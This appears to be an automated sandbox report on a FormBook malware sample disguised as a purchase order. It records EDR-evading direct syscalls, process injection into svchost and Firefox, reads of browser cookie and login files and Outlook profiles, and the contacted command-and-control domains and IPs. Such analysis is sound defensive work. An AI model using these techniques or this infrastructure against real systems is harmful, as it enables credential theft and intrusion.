            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00421FA7 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00421FA7

            HIPS / PFW / Operating System Protection Evasion

            barindex
            Found direct / indirect Syscall (likely to bypass EDR)
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtAllocateVirtualMemory: Direct from: 0x76EF48ECJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtQueryAttributesFile: Direct from: 0x76EF2E6CJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtQueryVolumeInformationFile: Direct from: 0x76EF2F2CJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtQuerySystemInformation: Direct from: 0x76EF48CCJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtOpenSection: Direct from: 0x76EF2E0CJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtDeviceIoControlFile: Direct from: 0x76EF2AECJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtAllocateVirtualMemory: Direct from: 0x76EF2BECJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtQueryInformationToken: Direct from: 0x76EF2CACJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtCreateFile: Direct from: 0x76EF2FECJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtOpenFile: Direct from: 0x76EF2DCCJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtTerminateThread: Direct from: 0x76EF2FCCJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtOpenKeyEx: Direct from: 0x76EF2B9CJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtSetInformationProcess: Direct from: 0x76EF2C5CJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtProtectVirtualMemory: Direct from: 0x76EF2F9CJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtWriteVirtualMemory: Direct from: 0x76EF2E3CJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtNotifyChangeKey: Direct from: 0x76EF3C2CJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtCreateMutant: Direct from: 0x76EF35CCJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtResumeThread: Direct from: 0x76EF36ACJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtMapViewOfSection: Direct from: 0x76EF2D1CJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtProtectVirtualMemory: Direct from: 0x76EE7B2EJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtAllocateVirtualMemory: Direct from: 0x76EF2BFCJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtQuerySystemInformation: Direct from: 0x76EF2DFCJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtReadFile: Direct from: 0x76EF2ADCJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtDelayExecution: Direct from: 0x76EF2DDCJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtQueryInformationProcess: Direct from: 0x76EF2C26Jump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtResumeThread: Direct from: 0x76EF2FBCJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtCreateUserProcess: Direct from: 0x76EF371CJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtAllocateVirtualMemory: Direct from: 0x76EF3C9CJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtWriteVirtualMemory: Direct from: 0x76EF490CJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtSetInformationThread: Direct from: 0x76EE63F9Jump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtClose: Direct from: 0x76EF2B6C
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtSetInformationThread: Direct from: 0x76EF2B4CJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtReadVirtualMemory: Direct from: 0x76EF2E8CJump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeNtCreateKey: Direct from: 0x76EF2C6CJump to behavior
            Maps a DLL or memory area into another process
            Source: C:\Users\user\Desktop\PO 4800040256.exeSection loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\svchost.exeSection loaded: NULL target: C:\Windows\SysWOW64\replace.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: NULL target: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: NULL target: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exe protection: execute and read and writeJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read writeJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeSection loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and writeJump to behavior
            Modifies the context of a thread in another process (thread injection)
            Source: C:\Windows\SysWOW64\replace.exeThread register set: target process: 2284Jump to behavior
            Queues an APC in another process (thread injection)
            Source: C:\Windows\SysWOW64\replace.exeThread APC queued: target process: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeJump to behavior
            Writes to foreign memory regions
            Source: C:\Users\user\Desktop\PO 4800040256.exeMemory written: C:\Windows\SysWOW64\svchost.exe base: 2981008Jump to behavior
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0043916A LogonUserW,0_2_0043916A
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0040D6D0 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetModuleFileNameW,GetForegroundWindow,ShellExecuteW,GetForegroundWindow,ShellExecuteW,0_2_0040D6D0
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004375B0 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_004375B0
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00436431 __wcsicoll,mouse_event,__wcsicoll,mouse_event,0_2_00436431
            Source: C:\Users\user\Desktop\PO 4800040256.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PO 4800040256.exe"Jump to behavior
            Source: C:\Program Files (x86)\lvZkYUwJbopMFPlXzcoFrBqTsEFMGtmXSmhqqiqLRaiGXLxfBezrdMaEAhbZxWmwBAPbEs\aqHVlkxOGyJW.exeProcess created: C:\Windows\SysWOW64\replace.exe "C:\Windows\SysWOW64\replace.exe"Jump to behavior
            Source: C:\Windows\SysWOW64\replace.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00445DD3 GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,0_2_00445DD3
            Source: aqHVlkxOGyJW.exe, 00000003.00000000.2161266223.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000003.00000002.4573217288.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573434212.0000000001A81000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Program Manager
            Source: PO 4800040256.exe, aqHVlkxOGyJW.exe, 00000003.00000000.2161266223.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000003.00000002.4573217288.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573434212.0000000001A81000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Shell_TrayWnd
            Source: aqHVlkxOGyJW.exe, 00000003.00000000.2161266223.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000003.00000002.4573217288.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573434212.0000000001A81000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
            Source: PO 4800040256.exeBinary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
            Source: aqHVlkxOGyJW.exe, 00000003.00000000.2161266223.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000003.00000002.4573217288.0000000000E71000.00000002.00000001.00040000.00000000.sdmp, aqHVlkxOGyJW.exe, 00000006.00000002.4573434212.0000000001A81000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_00410D10 cpuid 0_2_00410D10
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,0_2_004223BC
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004711D2 GetUserNameW,0_2_004711D2
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_0040E470

            Stealing of Sensitive Information

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000002.00000002.2247247769.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.4573534161.0000000002FA0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2247657348.00000000032A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.4572490171.0000000002E50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.4573627001.0000000003390000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.4573575803.0000000003340000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2248041261.0000000004400000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Windows\SysWOW64\replace.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\replace.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
            Tries to steal Mail credentials (via file / registry access)
            Source: C:\Windows\SysWOW64\replace.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
            Source: PO 4800040256.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
            Source: PO 4800040256.exeBinary or memory string: WIN_XP
            Source: PO 4800040256.exeBinary or memory string: WIN_XPe
            Source: PO 4800040256.exeBinary or memory string: WIN_VISTA
            Source: PO 4800040256.exeBinary or memory string: WIN_7

            Remote Access Functionality

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000002.00000002.2247247769.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.4573534161.0000000002FA0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2247657348.00000000032A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.4572490171.0000000002E50000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.4573627001.0000000003390000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.4573575803.0000000003340000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.2248041261.0000000004400000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_004741BB
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket,0_2_0046483C
            Source: C:\Users\user\Desktop\PO 4800040256.exeCode function: 0_2_0047AD92 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,0_2_0047AD92

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire Infrastructure2
            Valid Accounts            		1
            Native API            		1
            DLL Side-Loading            		1
            Exploitation for Privilege Escalation            		1
            Disable or Modify Tools            		1
            OS Credential Dumping            		1
            System Time Discovery            		Remote Services1
            Archive Collected Data            		4
            Ingress Tool Transfer            		Exfiltration Over Other Network Medium1
            System Shutdown/Reboot
            CredentialsDomainsDefault AccountsScheduled Task/Job2
            Valid Accounts            		1
            Abuse Elevation Control Mechanism            		1
            Deobfuscate/Decode Files or Information            		21
            Input Capture            		1
            Account Discovery            		Remote Desktop Protocol1
            Data from Local System            		1
            Encrypted Channel            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
            DLL Side-Loading            		1
            Abuse Elevation Control Mechanism            		Security Account Manager2
            File and Directory Discovery            		SMB/Windows Admin Shares1
            Email Collection            		4
            Non-Application Layer Protocol            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
            Valid Accounts            		3
            Obfuscated Files or Information            		NTDS116
            System Information Discovery            		Distributed Component Object Model21
            Input Capture            		4
            Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
            Access Token Manipulation            		1
            DLL Side-Loading            		LSA Secrets241
            Security Software Discovery            		SSH3
            Clipboard Data            		Fallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts412
            Process Injection            		2
            Valid Accounts            		Cached Domain Credentials2
            Virtualization/Sandbox Evasion            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
            Virtualization/Sandbox Evasion            		DCSync3
            Process Discovery            		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
            Access Token Manipulation            		Proc Filesystem11
            Application Window Discovery            		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
            Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt412
            Process Injection            		/etc/passwd and /etc/shadow1
            System Owner/User Discovery            		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1542186 Sample: PO 4800040256.exe Startdate: 25/10/2024 Architecture: WINDOWS Score: 100 28 www.sterkus.xyz 2->28 30 www.rtpngk.xyz 2->30 32 25 other IPs or domains 2->32 42 Malicious sample detected (through community Yara rule) 2->42 44 Antivirus / Scanner detection for submitted sample 2->44 46 Multi AV Scanner detection for submitted file 2->46 50 5 other signatures 2->50 10 PO 4800040256.exe 1 2->10         started        signatures3 48 Performs DNS queries to domains with low reputation 30->48 process4 signatures5 62 Writes to foreign memory regions 10->62 64 Maps a DLL or memory area into another process 10->64 13 svchost.exe 10->13         started        process6 signatures7 66 Maps a DLL or memory area into another process 13->66 16 aqHVlkxOGyJW.exe 13->16 injected process8 signatures9 40 Found direct / indirect Syscall (likely to bypass EDR) 16->40 19 replace.exe 13 16->19         started        process10 signatures11 52 Tries to steal Mail credentials (via file / registry access) 19->52 54 Tries to harvest and steal browser information (history, passwords, etc) 19->54 56 Modifies the context of a thread in another process (thread injection) 19->56 58 3 other signatures 19->58 22 aqHVlkxOGyJW.exe 19->22 injected 26 firefox.exe 19->26         started        process12 dnsIp13 34 www.sterkus.xyz 209.74.95.29, 62200, 62201, 62202 MULTIBAND-NEWHOPEUS United States 22->34 36 www.moritynomxd.xyz 172.81.61.224, 49785, 80 ESITEDUS United States 22->36 38 11 other IPs or domains 22->38 60 Found direct / indirect Syscall (likely to bypass EDR) 22->60 signatures14

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            PO 4800040256.exe66%ReversingLabsWin32.Trojan.AutoitInject
            PO 4800040256.exe100%AviraTR/AD.Swotter.egvpg
            PO 4800040256.exe100%Joe Sandbox ML

            Dropped Files

            ⊘No Antivirus matches

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            ⊘No Antivirus matches

            URLs

            SourceDetectionScannerLabelLink
            https://duckduckgo.com/chrome_newtab0%URL Reputationsafe
            https://duckduckgo.com/ac/?q=0%URL Reputationsafe
            https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=0%URL Reputationsafe
            https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search0%URL Reputationsafe
            https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=0%URL Reputationsafe
            https://www.ecosia.org/newtab/0%URL Reputationsafe
            https://ac.ecosia.org/autocomplete?q=0%URL Reputationsafe
            https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=0%URL Reputationsafe

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            pakmartcentral.shop
            		84.32.84.32
            		truefalse
              		unknown
              tracy.club
              		3.33.130.190
              		truefalse
                		unknown
                warriorsyndrome.net
                		3.33.130.190
                		truefalse
                  		unknown
                  wcq24.top
                  		154.23.184.240
                  		truefalse
                    		unknown
                    asociacia.online
                    		81.2.196.19
                    		truefalse
                      		unknown
                      www.moritynomxd.xyz
                      		172.81.61.224
                      		truetrue
                        		unknown
                        www.syncnodex.net
                        		15.197.172.60
                        		truefalse
                          		unknown
                          www.sterkus.xyz
                          		209.74.95.29
